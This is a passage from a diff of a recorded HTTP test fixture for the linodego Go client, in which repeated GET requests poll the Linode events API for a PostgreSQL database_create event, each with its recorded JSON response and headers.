X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:22:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:22:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:23:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:23:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:23:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:23:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:24:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:24:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:24:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:24:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:25:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:25:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:25:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:25:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:26:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:26:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - 